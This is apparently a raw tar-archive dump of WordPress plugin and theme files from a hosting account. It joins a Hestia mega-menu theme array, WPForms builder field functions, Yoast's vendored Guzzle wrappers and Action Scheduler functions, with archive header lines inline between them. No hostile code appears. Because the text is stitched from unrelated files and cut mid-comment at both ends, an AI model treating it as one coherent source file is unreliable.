* Functions for Max Mega Menu which only needs to be used when Max Mega Menu is active.
*
* @package Hestia
* @since Hestia 1.0
*/
/**
* Max Mega Menu Hestia Compatibility
**/
function megamenu_add_theme_hestia_max_menu( $themes ) {
$themes['hestia_max_menu'] = array(
'title' => 'Hestia',
'menu_item_link_height' => '50px',
'menu_item_align' => 'right',
'container_background_from' => 'rgba(255, 255, 255, 0)',
'container_background_to' => 'rgba(255, 255, 255, 0)',
'menu_item_background_hover_from' => 'rgba(255, 255, 255, 0.1)',
'menu_item_background_hover_to' => 'rgba(255, 255, 255, 0.1)',
'menu_item_link_font_size' => '12px',
'menu_item_link_color' => '#555',
'menu_item_link_color_hover' => '#e91e63',
'menu_item_highlight_current' => 'off',
'panel_background_from' => 'rgb(255, 255, 255)',
'panel_background_to' => 'rgb(255, 255, 255)',
'panel_header_font_size' => '12px',
'panel_header_font_weight' => 'normal',
'panel_header_border_color' => '#555',
'panel_font_size' => '12px',
'panel_font_color' => 'rgb(49, 49, 49)',
'panel_font_color_hover' => '#e91e63',
'panel_font_family' => 'inherit',
'panel_second_level_font_color' => 'rgb(49, 49, 49)',
'panel_second_level_font_color_hover' => '#e91e63',
'panel_second_level_text_transform' => 'none',
'panel_second_level_font' => 'inherit',
'panel_second_level_font_size' => '12px',
'panel_second_level_font_weight' => 'normal',
'panel_second_level_font_weight_hover' => 'normal',
'panel_second_level_text_decoration' => 'none',
'panel_second_level_text_decoration_hover' => 'none',
'panel_second_level_padding_left' => '20px',
'panel_second_level_border_color' => '#555',
'panel_third_level_font_color' => 'rgb(49, 49, 49)',
'panel_third_level_font_color_hover' => '#e91e63',
'panel_third_level_font' => 'inherit',
'panel_third_level_font_size' => '12px',
'panel_third_level_padding_left' => '20px',
'flyout_background_from' => 'rgb(255, 255, 255)',
'flyout_background_to' => 'rgb(255, 255, 255)',
'flyout_background_hover_from' => 'rgb(255, 255, 255)',
'flyout_background_hover_to' => 'rgb(255, 255, 255)',
'flyout_link_size' => '12px',
'flyout_link_color' => 'rgb(49, 49, 49)',
'flyout_link_color_hover' => '#e91e63',
'flyout_link_family' => 'inherit',
'responsive_breakpoint' => '768px',
'resets' => 'on',
'toggle_background_from' => '#222',
'toggle_background_to' => '#222',
'toggle_font_color' => 'rgb(102, 102, 102)',
'mobile_background_from' => 'rgb(255, 255, 255)',
'mobile_background_to' => 'rgb(255, 255, 255)',
'mobile_menu_item_link_font_size' => '12px',
'mobile_menu_item_link_color' => 'rgb(102, 102, 102)',
'mobile_menu_item_link_text_align' => 'left',
);
return $themes;
}
add_filter( 'megamenu_themes', 'megamenu_add_theme_hestia_max_menu' );
home/xbodynamge/crosstraining/wp-content/plugins/wpforms-lite/includes/admin/builder/functions.php 0000604 00000025341 15113747356 0030007 0 ustar 00 <?php
/**
* Builder related functions.
*
* @package WPForms
* @author WPForms
* @since 1.0.0
* @license GPL-2.0+
* @copyright Copyright (c) 2016, WPForms LLC
*/
/**
* Outputs fields to be used on panels (settings etc).
*
* @since 1.0.0
*
* @param string $option
* @param string $panel
* @param string $field
* @param array $form_data
* @param string $label
* @param array $args
* @param boolean $echo
*
* @return string
*/
function wpforms_panel_field( $option, $panel, $field, $form_data, $label, $args = array(), $echo = true ) {
// Required params.
if ( empty( $option ) || empty( $panel ) || empty( $field ) ) {
return '';
}
// Setup basic vars.
$panel = esc_attr( $panel );
$field = esc_attr( $field );
$panel_id = sanitize_html_class( $panel );
$parent = ! empty( $args['parent'] ) ? esc_attr( $args['parent'] ) : '';
$subsection = ! empty( $args['subsection'] ) ? esc_attr( $args['subsection'] ) : '';
$label = ! empty( $label ) ? esc_html( $label ) : '';
$class = ! empty( $args['class'] ) ? esc_attr( $args['class'] ) : '';
$input_class = ! empty( $args['input_class'] ) ? esc_attr( $args['input_class'] ) : '';
$default = isset( $args['default'] ) ? $args['default'] : '';
$placeholder = ! empty( $args['placeholder'] ) ? esc_attr( $args['placeholder'] ) : '';
$data_attr = '';
$output = '';
$input_id = sprintf( 'wpforms-panel-field-%s-%s', sanitize_html_class( $panel_id ), sanitize_html_class( $field ) );
if ( ! empty( $args['input_id'] ) ) {
$input_id = esc_attr( $args['input_id'] );
}
// Check if we should store values in a parent array.
if ( ! empty( $parent ) ) {
if ( ! empty( $subsection ) ) {
$field_name = sprintf( '%s[%s][%s][%s]', $parent, $panel, $subsection, $field );
$value = isset( $form_data[ $parent ][ $panel ][ $subsection ][ $field ] ) ? $form_data[ $parent ][ $panel ][ $subsection ][ $field ] : $default;
$input_id = sprintf( 'wpforms-panel-field-%s-%s-%s', sanitize_html_class( $panel_id ), sanitize_html_class( $subsection ), sanitize_html_class( $field ) );
$panel_id = sanitize_html_class( $panel . '-' . $subsection );
} else {
$field_name = sprintf( '%s[%s][%s]', $parent, $panel, $field );
$value = isset( $form_data[ $parent ][ $panel ][ $field ] ) ? $form_data[ $parent ][ $panel ][ $field ] : $default;
}
} else {
$field_name = sprintf( '%s[%s]', $panel, $field );
$value = isset( $form_data[ $panel ][ $field ] ) ? $form_data[ $panel ][ $field ] : $default;
}
if ( isset( $args['field_name'] ) ) {
$field_name = $args['field_name'];
}
if ( isset( $args['value'] ) ) {
$value = $args['value'];
}
// Check for data attributes.
if ( ! empty( $args['data'] ) ) {
foreach ( $args['data'] as $key => $val ) {
if ( is_array( $val ) ) {
$val = wp_json_encode( $val );
}
$data_attr .= ' data-' . $key . '=\'' . $val . '\'';
}
}
// Check for readonly inputs.
if ( ! empty( $args['readonly' ] ) ) {
$data_attr .= 'readonly';
}
// Determine what field type to output.
switch ( $option ) {
// Text input.
case 'text':
$output = sprintf(
'<input type="%s" id="%s" name="%s" value="%s" placeholder="%s" class="%s" %s>',
! empty( $args['type'] ) ? esc_attr( $args['type'] ) : 'text',
$input_id,
$field_name,
esc_attr( $value ),
$placeholder,
$input_class,
$data_attr
);
break;
// Textarea.
case 'textarea':
$output = sprintf(
'<textarea id="%s" name="%s" rows="%d" placeholder="%s" class="%s" %s>%s</textarea>',
$input_id,
$field_name,
! empty( $args['rows'] ) ? (int) $args['rows'] : '3',
$placeholder,
$input_class,
$data_attr,
esc_textarea( $value )
);
break;
// TinyMCE.
case 'tinymce':
$id = str_replace( '-', '_', $input_id );
$args['tinymce']['textarea_name'] = $field_name;
$args['tinymce']['teeny'] = true;
$args['tinymce'] = wp_parse_args( $args['tinymce'], array(
'media_buttons' => false,
'teeny' => true,
) );
ob_start();
wp_editor( $value, $id, $args['tinymce'] );
$output = ob_get_clean();
break;
// Checkbox.
case 'checkbox':
$output = sprintf(
'<input type="checkbox" id="%s" name="%s" value="1" class="%s" %s %s>',
$input_id,
$field_name,
$input_class,
checked( '1', $value, false ),
$data_attr
);
$output .= sprintf(
'<label for="%s" class="inline">%s',
$input_id,
$label
);
if ( ! empty( $args['tooltip'] ) ) {
$output .= sprintf( ' <i class="fa fa-question-circle wpforms-help-tooltip" title="%s"></i>', esc_attr( $args['tooltip'] ) );
}
$output .= '</label>';
break;
// Radio.
case 'radio':
$options = $args['options'];
$radio_counter = 1;
$output = '';
foreach ( $options as $key => $item ) {
if ( empty( $item['label'] ) ) {
continue;
}
$item_value = ! empty( $item['value'] ) ? $item['value'] : $key;
$output .= '<span class="row">';
if ( ! empty( $item['pre_label'] ) ) {
$output .= '<label>' . $item['pre_label'];
}
$output .= sprintf(
'<input type="radio" id="%s-%d" name="%s" value="%s" class="%s" %s %s>',
$input_id,
$radio_counter,
$field_name,
$item_value,
$input_class,
checked( $item_value, $value, false ),
$data_attr
);
if ( empty( $item['pre_label'] ) ) {
$output .= sprintf(
'<label for="%s-%d" class="inline">%s',
$input_id,
$radio_counter,
$item['label']
);
} else {
$output .= '<span class="wpforms-panel-field-radio-label">' . $item['label'] . '</span>';
}
if ( ! empty( $item['tooltip'] ) ) {
$output .= sprintf( ' <i class="fa fa-question-circle wpforms-help-tooltip" title="%s"></i>', esc_attr( $item['tooltip'] ) );
}
$output .= '</label></span>';
$radio_counter ++;
}
if ( ! empty( $output ) ) {
$output = '<div class="wpforms-panel-field-radio-container">' . $output . '</div>';
}
break;
// Select.
case 'select':
if ( empty( $args['options'] ) && empty( $args['field_map'] ) ) {
return '';
}
if ( ! empty( $args['field_map'] ) ) {
$options = array();
$available_fields = wpforms_get_form_fields( $form_data, $args['field_map'] );
if ( ! empty( $available_fields ) ) {
foreach ( $available_fields as $id => $available_field ) {
$lbl = ! empty( $available_field['label'] ) ? esc_attr( $available_field['label'] ) : esc_html__( 'Field #' ) . $id;
$options[ $id ] = $lbl;
}
}
$input_class .= ' wpforms-field-map-select';
$data_attr .= ' data-field-map-allowed="' . implode( ' ', $args['field_map'] ) . '"';
if ( ! empty( $placeholder ) ) {
$data_attr .= ' data-field-map-placeholder="' . esc_attr( $placeholder ) . '"';
}
} else {
$options = $args['options'];
}
$output = sprintf(
'<select id="%s" name="%s" class="%s" %s>',
$input_id,
$field_name,
$input_class,
$data_attr
);
if ( ! empty( $placeholder ) ) {
$output .= '<option value="">' . $placeholder . '</option>';
}
foreach ( $options as $key => $item ) {
$output .= sprintf( '<option value="%s" %s>%s</option>', esc_attr( $key ), selected( $key, $value, false ), $item );
}
$output .= '</select>';
break;
}
// Put the pieces together.
$field_open = sprintf(
'<div id="%s-wrap" class="wpforms-panel-field %s %s">',
$input_id,
$class,
'wpforms-panel-field-' . sanitize_html_class( $option )
);
$field_open .= ! empty( $args['before'] ) ? $args['before'] : '';
if ( 'checkbox' !== $option && ! empty( $label ) ) {
$field_label = sprintf(
'<label for="%s">%s',
$input_id,
$label
);
if ( ! empty( $args['tooltip'] ) ) {
$field_label .= sprintf( ' <i class="fa fa-question-circle wpforms-help-tooltip" title="%s"></i>', esc_attr( $args['tooltip'] ) );
}
if ( ! empty( $args['after_tooltip'] ) ) {
$field_label .= $args['after_tooltip'];
}
if ( ! empty( $args['smarttags'] ) ) {
$type = ! empty( $args['smarttags']['type'] ) ? esc_attr( $args['smarttags']['type'] ) : 'fields';
$fields = ! empty( $args['smarttags']['fields'] ) ? esc_attr( $args['smarttags']['fields'] ) : '';
$field_label .= '<a href="#" class="toggle-smart-tag-display" data-type="' . $type . '" data-fields="' . $fields . '"><i class="fa fa-tags"></i> <span>' . esc_html__( 'Show Smart Tags', 'wpforms-lite' ) . '</span></a>';
}
$field_label .= '</label>';
if ( ! empty( $args['after_label'] ) ) {
$field_label .= $args['after_label'];
}
} else {
$field_label = '';
}
$field_close = ! empty( $args['after'] ) ? $args['after'] : '';
$field_close .= '</div>';
$output = $field_open . $field_label . $output . $field_close;
// Wash our hands.
if ( $echo ) {
echo $output;
} else {
return $output;
}
}
/**
* Get notification state, whether it's opened or closed.
*
* @since 1.4.1
* @deprecated 1.4.8
*
* @param int $form_id
* @param int $notification_id
*
* @return string
*/
function wpforms_builder_notification_get_state( $form_id, $notification_id ) {
_deprecated_function( __FUNCTION__, '1.4.8 of WPForms plugin', 'wpforms_builder_settings_block_get_state()' );
return wpforms_builder_settings_block_get_state( $form_id, $notification_id, 'notification' );
}
/**
* Get settings block state, whether it's opened or closed.
*
* @since 1.4.8
*
* @param int $form_id
* @param int $block_id
* @param string $block_type
*
* @return string
*/
function wpforms_builder_settings_block_get_state( $form_id, $block_id, $block_type ) {
$form_id = absint( $form_id );
$block_id = absint( $block_id );
$block_type = sanitize_key( $block_type );
$state = 'opened';
$all_states = get_user_meta( get_current_user_id(), 'wpforms_builder_settings_collapsable_block_states', true );
if ( empty( $all_states ) ) {
return $state;
}
if (
is_array( $all_states ) &&
! empty( $all_states[ $form_id ][ $block_type ][ $block_id ] ) &&
'closed' === $all_states[ $form_id ][ $block_type ][ $block_id ]
) {
$state = 'closed';
}
// Backward compatibility for notifications.
if ( 'notification' === $block_type && 'closed' !== $state ) {
$notification_states = get_user_meta( get_current_user_id(), 'wpforms_builder_notification_states', true );
}
if (
! empty( $notification_states[ $form_id ][ $block_id ] ) &&
'closed' === $notification_states[ $form_id ][ $block_id ]
) {
$state = 'closed';
}
if ( 'notification' === $block_type ) {
// Backward compatibility for notifications.
return apply_filters( 'wpforms_builder_notification_get_state', $state, $form_id, $block_id );
}
return apply_filters( 'wpforms_builder_settings_block_get_state', $state, $form_id, $block_id, $block_type );
}
xbodynamge/www/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/functions.php 0000644 00000034246 15113767116 0030620 0 ustar 00 home <?php
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;
use YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
* Returns the string representation of an HTTP message.
*
* @param MessageInterface $message Message to convert to a string.
*
* @return string
*
* @deprecated str will be removed in guzzlehttp/psr7:2.0. Use Message::toString instead.
*/
function str(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::toString($message);
}
/**
* Returns a UriInterface for the given value.
*
* This function accepts a string or UriInterface and returns a
* UriInterface for the given value. If the value is already a
* UriInterface, it is returned as-is.
*
* @param string|UriInterface $uri
*
* @return UriInterface
*
* @throws \InvalidArgumentException
*
* @deprecated uri_for will be removed in guzzlehttp/psr7:2.0. Use Utils::uriFor instead.
*/
function uri_for($uri)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::uriFor($uri);
}
/**
* Create a new stream based on the input type.
*
* Options is an associative array that can contain the following keys:
* - metadata: Array of custom metadata.
* - size: Size of the stream.
*
* This method accepts the following `$resource` types:
* - `Psr\Http\Message\StreamInterface`: Returns the value as-is.
* - `string`: Creates a stream object that uses the given string as the contents.
* - `resource`: Creates a stream object that wraps the given PHP stream resource.
* - `Iterator`: If the provided value implements `Iterator`, then a read-only
* stream object will be created that wraps the given iterable. Each time the
* stream is read from, data from the iterator will fill a buffer and will be
* continuously called until the buffer is equal to the requested read size.
* Subsequent read calls will first read from the buffer and then call `next`
* on the underlying iterator until it is exhausted.
* - `object` with `__toString()`: If the object has the `__toString()` method,
* the object will be cast to a string and then a stream will be returned that
* uses the string value.
* - `NULL`: When `null` is passed, an empty stream object is returned.
* - `callable` When a callable is passed, a read-only stream object will be
* created that invokes the given callable. The callable is invoked with the
* number of suggested bytes to read. The callable can return any number of
* bytes, but MUST return `false` when there is no more data to return. The
* stream object that wraps the callable will invoke the callable until the
* number of requested bytes are available. Any additional bytes will be
* buffered and used in subsequent reads.
*
* @param resource|string|int|float|bool|StreamInterface|callable|\Iterator|null $resource Entity body data
* @param array $options Additional options
*
* @return StreamInterface
*
* @throws \InvalidArgumentException if the $resource arg is not valid.
*
* @deprecated stream_for will be removed in guzzlehttp/psr7:2.0. Use Utils::streamFor instead.
*/
function stream_for($resource = '', array $options = [])
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($resource, $options);
}
/**
* Parse an array of header values containing ";" separated data into an
* array of associative arrays representing the header key value pair data
* of the header. When a parameter does not contain a value, but just
* contains a key, this function will inject a key with a '' string value.
*
* @param string|array $header Header to parse into components.
*
* @return array Returns the parsed header values.
*
* @deprecated parse_header will be removed in guzzlehttp/psr7:2.0. Use Header::parse instead.
*/
function parse_header($header)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Header::parse($header);
}
/**
* Converts an array of header values that may contain comma separated
* headers into an array of headers with no comma separated values.
*
* @param string|array $header Header to normalize.
*
* @return array Returns the normalized header field values.
*
* @deprecated normalize_header will be removed in guzzlehttp/psr7:2.0. Use Header::normalize instead.
*/
function normalize_header($header)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Header::normalize($header);
}
/**
* Clone and modify a request with the given changes.
*
* This method is useful for reducing the number of clones needed to mutate a
* message.
*
* The changes can be one of:
* - method: (string) Changes the HTTP method.
* - set_headers: (array) Sets the given headers.
* - remove_headers: (array) Remove the given headers.
* - body: (mixed) Sets the given body.
* - uri: (UriInterface) Set the URI.
* - query: (string) Set the query string value of the URI.
* - version: (string) Set the protocol version.
*
* @param RequestInterface $request Request to clone and modify.
* @param array $changes Changes to apply.
*
* @return RequestInterface
*
* @deprecated modify_request will be removed in guzzlehttp/psr7:2.0. Use Utils::modifyRequest instead.
*/
function modify_request(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $changes)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::modifyRequest($request, $changes);
}
/**
* Attempts to rewind a message body and throws an exception on failure.
*
* The body of the message will only be rewound if a call to `tell()` returns a
* value other than `0`.
*
* @param MessageInterface $message Message to rewind
*
* @throws \RuntimeException
*
* @deprecated rewind_body will be removed in guzzlehttp/psr7:2.0. Use Message::rewindBody instead.
*/
function rewind_body(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message)
{
\YoastSEO_Vendor\GuzzleHttp\Psr7\Message::rewindBody($message);
}
/**
* Safely opens a PHP stream resource using a filename.
*
* When fopen fails, PHP normally raises a warning. This function adds an
* error handler that checks for errors and throws an exception instead.
*
* @param string $filename File to open
* @param string $mode Mode used to open the file
*
* @return resource
*
* @throws \RuntimeException if the file cannot be opened
*
* @deprecated try_fopen will be removed in guzzlehttp/psr7:2.0. Use Utils::tryFopen instead.
*/
function try_fopen($filename, $mode)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen($filename, $mode);
}
/**
* Copy the contents of a stream into a string until the given number of
* bytes have been read.
*
* @param StreamInterface $stream Stream to read
* @param int $maxLen Maximum number of bytes to read. Pass -1
* to read the entire stream.
*
* @return string
*
* @throws \RuntimeException on error.
*
* @deprecated copy_to_string will be removed in guzzlehttp/psr7:2.0. Use Utils::copyToString instead.
*/
function copy_to_string(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, $maxLen = -1)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToString($stream, $maxLen);
}
/**
* Copy the contents of a stream into another stream until the given number
* of bytes have been read.
*
* @param StreamInterface $source Stream to read from
* @param StreamInterface $dest Stream to write to
* @param int $maxLen Maximum number of bytes to read. Pass -1
* to read the entire stream.
*
* @throws \RuntimeException on error.
*
* @deprecated copy_to_stream will be removed in guzzlehttp/psr7:2.0. Use Utils::copyToStream instead.
*/
function copy_to_stream(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $source, \YoastSEO_Vendor\Psr\Http\Message\StreamInterface $dest, $maxLen = -1)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToStream($source, $dest, $maxLen);
}
/**
* Calculate a hash of a stream.
*
* This method reads the entire stream to calculate a rolling hash, based on
* PHP's `hash_init` functions.
*
* @param StreamInterface $stream Stream to calculate the hash for
* @param string $algo Hash algorithm (e.g. md5, crc32, etc)
* @param bool $rawOutput Whether or not to use raw output
*
* @return string Returns the hash of the stream
*
* @throws \RuntimeException on error.
*
* @deprecated hash will be removed in guzzlehttp/psr7:2.0. Use Utils::hash instead.
*/
function hash(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, $algo, $rawOutput = \false)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::hash($stream, $algo, $rawOutput);
}
/**
* Read a line from the stream up to the maximum allowed buffer length.
*
* @param StreamInterface $stream Stream to read from
* @param int|null $maxLength Maximum buffer length
*
* @return string
*
* @deprecated readline will be removed in guzzlehttp/psr7:2.0. Use Utils::readLine instead.
*/
function readline(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, $maxLength = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::readLine($stream, $maxLength);
}
/**
* Parses a request message string into a request object.
*
* @param string $message Request message string.
*
* @return Request
*
* @deprecated parse_request will be removed in guzzlehttp/psr7:2.0. Use Message::parseRequest instead.
*/
function parse_request($message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseRequest($message);
}
/**
* Parses a response message string into a response object.
*
* @param string $message Response message string.
*
* @return Response
*
* @deprecated parse_response will be removed in guzzlehttp/psr7:2.0. Use Message::parseResponse instead.
*/
function parse_response($message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseResponse($message);
}
/**
* Parse a query string into an associative array.
*
* If multiple values are found for the same key, the value of that key value
* pair will become an array. This function does not parse nested PHP style
* arrays into an associative array (e.g., `foo[a]=1&foo[b]=2` will be parsed
* into `['foo[a]' => '1', 'foo[b]' => '2'])`.
*
* @param string $str Query string to parse
* @param int|bool $urlEncoding How the query string is encoded
*
* @return array
*
* @deprecated parse_query will be removed in guzzlehttp/psr7:2.0. Use Query::parse instead.
*/
function parse_query($str, $urlEncoding = \true)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Query::parse($str, $urlEncoding);
}
/**
* Build a query string from an array of key value pairs.
*
* This function can use the return value of `parse_query()` to build a query
* string. This function does not modify the provided keys when an array is
* encountered (like `http_build_query()` would).
*
* @param array $params Query string parameters.
* @param int|false $encoding Set to false to not encode, PHP_QUERY_RFC3986
* to encode using RFC3986, or PHP_QUERY_RFC1738
* to encode using RFC1738.
*
* @return string
*
* @deprecated build_query will be removed in guzzlehttp/psr7:2.0. Use Query::build instead.
*/
function build_query(array $params, $encoding = \PHP_QUERY_RFC3986)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Query::build($params, $encoding);
}
/**
* Determines the mimetype of a file by looking at its extension.
*
* @param string $filename
*
* @return string|null
*
* @deprecated mimetype_from_filename will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromFilename instead.
*/
function mimetype_from_filename($filename)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromFilename($filename);
}
/**
* Maps a file extensions to a mimetype.
*
* @param $extension string The file extension.
*
* @return string|null
*
* @link http://svn.apache.org/repos/asf/httpd/httpd/branches/1.3.x/conf/mime.types
* @deprecated mimetype_from_extension will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromExtension instead.
*/
function mimetype_from_extension($extension)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromExtension($extension);
}
/**
* Parses an HTTP message into an associative array.
*
* The array contains the "start-line" key containing the start line of
* the message, "headers" key containing an associative array of header
* array values, and a "body" key containing the body of the message.
*
* @param string $message HTTP request or response to parse.
*
* @return array
*
* @internal
*
* @deprecated _parse_message will be removed in guzzlehttp/psr7:2.0. Use Message::parseMessage instead.
*/
function _parse_message($message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseMessage($message);
}
/**
* Constructs a URI for an HTTP request message.
*
* @param string $path Path from the start-line
* @param array $headers Array of headers (each value an array).
*
* @return string
*
* @internal
*
* @deprecated _parse_request_uri will be removed in guzzlehttp/psr7:2.0. Use Message::parseRequestUri instead.
*/
function _parse_request_uri($path, array $headers)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseRequestUri($path, $headers);
}
/**
* Get a short summary of the message body.
*
* Will return `null` if the response is not printable.
*
* @param MessageInterface $message The message to get the body summary
* @param int $truncateAt The maximum allowed size of the summary
*
* @return string|null
*
* @deprecated get_message_body_summary will be removed in guzzlehttp/psr7:2.0. Use Message::bodySummary instead.
*/
function get_message_body_summary(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message, $truncateAt = 120)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::bodySummary($message, $truncateAt);
}
/**
* Remove the items given by the keys, case insensitively from the data.
*
* @param iterable<string> $keys
*
* @return array
*
* @internal
*
* @deprecated _caseless_remove will be removed in guzzlehttp/psr7:2.0. Use Utils::caselessRemove instead.
*/
function _caseless_remove($keys, array $data)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove($keys, $data);
}
namtation/wp-content/plugins/all-in-one-seo-pack/vendor/woocommerce/action-scheduler/functions.php 0000644 00000045301 15114071533 0032547 0 ustar 00 home/xbodynamge <?php
/**
* General API functions for scheduling actions
*
* @package ActionScheduler.
*/
/**
* Enqueue an action to run one time, as soon as possible
*
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
* @param bool $unique Whether the action should be unique. It will not be scheduled if another pending or running action has the same hook and group parameters.
* @param int $priority Lower values take precedence over higher values. Defaults to 10, with acceptable values falling in the range 0-255.
*
* @return int The action ID. Zero if there was an error scheduling the action.
*/
function as_enqueue_async_action( $hook, $args = array(), $group = '', $unique = false, $priority = 10 ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
/**
* Provides an opportunity to short-circuit the default process for enqueuing async
* actions.
*
* Returning a value other than null from the filter will short-circuit the normal
* process. The expectation in such a scenario is that callbacks will return an integer
* representing the enqueued action ID (enqueued using some alternative process) or else
* zero.
*
* @param int|null $pre_option The value to return instead of the option value.
* @param string $hook Action hook.
* @param array $args Action arguments.
* @param string $group Action group.
* @param int $priority Action priority.
* @param bool $unique Unique action.
*/
$pre = apply_filters( 'pre_as_enqueue_async_action', null, $hook, $args, $group, $priority, $unique );
if ( null !== $pre ) {
return is_int( $pre ) ? $pre : 0;
}
return ActionScheduler::factory()->create(
array(
'type' => 'async',
'hook' => $hook,
'arguments' => $args,
'group' => $group,
'unique' => $unique,
'priority' => $priority,
)
);
}
/**
* Schedule an action to run one time
*
* @param int $timestamp When the job will run.
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
* @param bool $unique Whether the action should be unique. It will not be scheduled if another pending or running action has the same hook and group parameters.
* @param int $priority Lower values take precedence over higher values. Defaults to 10, with acceptable values falling in the range 0-255.
*
* @return int The action ID. Zero if there was an error scheduling the action.
*/
function as_schedule_single_action( $timestamp, $hook, $args = array(), $group = '', $unique = false, $priority = 10 ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
/**
* Provides an opportunity to short-circuit the default process for enqueuing single
* actions.
*
* Returning a value other than null from the filter will short-circuit the normal
* process. The expectation in such a scenario is that callbacks will return an integer
* representing the scheduled action ID (scheduled using some alternative process) or else
* zero.
*
* @param int|null $pre_option The value to return instead of the option value.
* @param int $timestamp When the action will run.
* @param string $hook Action hook.
* @param array $args Action arguments.
* @param string $group Action group.
* @param int $priorities Action priority.
*/
$pre = apply_filters( 'pre_as_schedule_single_action', null, $timestamp, $hook, $args, $group, $priority );
if ( null !== $pre ) {
return is_int( $pre ) ? $pre : 0;
}
return ActionScheduler::factory()->create(
array(
'type' => 'single',
'hook' => $hook,
'arguments' => $args,
'when' => $timestamp,
'group' => $group,
'unique' => $unique,
'priority' => $priority,
)
);
}
/**
* Schedule a recurring action
*
* @param int $timestamp When the first instance of the job will run.
* @param int $interval_in_seconds How long to wait between runs.
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
* @param bool $unique Whether the action should be unique. It will not be scheduled if another pending or running action has the same hook and group parameters.
* @param int $priority Lower values take precedence over higher values. Defaults to 10, with acceptable values falling in the range 0-255.
*
* @return int The action ID. Zero if there was an error scheduling the action.
*/
function as_schedule_recurring_action( $timestamp, $interval_in_seconds, $hook, $args = array(), $group = '', $unique = false, $priority = 10 ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
$interval = (int) $interval_in_seconds;
// We expect an integer and allow it to be passed using float and string types, but otherwise
// should reject unexpected values.
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
if ( ! is_numeric( $interval_in_seconds ) || $interval_in_seconds != $interval ) {
_doing_it_wrong(
__METHOD__,
sprintf(
/* translators: 1: provided value 2: provided type. */
esc_html__( 'An integer was expected but "%1$s" (%2$s) was received.', 'action-scheduler' ),
esc_html( $interval_in_seconds ),
esc_html( gettype( $interval_in_seconds ) )
),
'3.6.0'
);
return 0;
}
/**
* Provides an opportunity to short-circuit the default process for enqueuing recurring
* actions.
*
* Returning a value other than null from the filter will short-circuit the normal
* process. The expectation in such a scenario is that callbacks will return an integer
* representing the scheduled action ID (scheduled using some alternative process) or else
* zero.
*
* @param int|null $pre_option The value to return instead of the option value.
* @param int $timestamp When the action will run.
* @param int $interval_in_seconds How long to wait between runs.
* @param string $hook Action hook.
* @param array $args Action arguments.
* @param string $group Action group.
* @param int $priority Action priority.
*/
$pre = apply_filters( 'pre_as_schedule_recurring_action', null, $timestamp, $interval_in_seconds, $hook, $args, $group, $priority );
if ( null !== $pre ) {
return is_int( $pre ) ? $pre : 0;
}
return ActionScheduler::factory()->create(
array(
'type' => 'recurring',
'hook' => $hook,
'arguments' => $args,
'when' => $timestamp,
'pattern' => $interval_in_seconds,
'group' => $group,
'unique' => $unique,
'priority' => $priority,
)
);
}
/**
* Schedule an action that recurs on a cron-like schedule.
*
* @param int $timestamp The first instance of the action will be scheduled
* to run at a time calculated after this timestamp matching the cron
* expression. This can be used to delay the first instance of the action.
* @param string $schedule A cron-link schedule string.
* @see http://en.wikipedia.org/wiki/Cron
* * * * * * *
* ┬ ┬ ┬ ┬ ┬ ┬
* | | | | | |
* | | | | | + year [optional]
* | | | | +----- day of week (0 - 7) (Sunday=0 or 7)
* | | | +---------- month (1 - 12)
* | | +--------------- day of month (1 - 31)
* | +-------------------- hour (0 - 23)
* +------------------------- min (0 - 59)
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
* @param bool $unique Whether the action should be unique. It will not be scheduled if another pending or running action has the same hook and group parameters.
* @param int $priority Lower values take precedence over higher values. Defaults to 10, with acceptable values falling in the range 0-255.
*
* @return int The action ID. Zero if there was an error scheduling the action.
*/
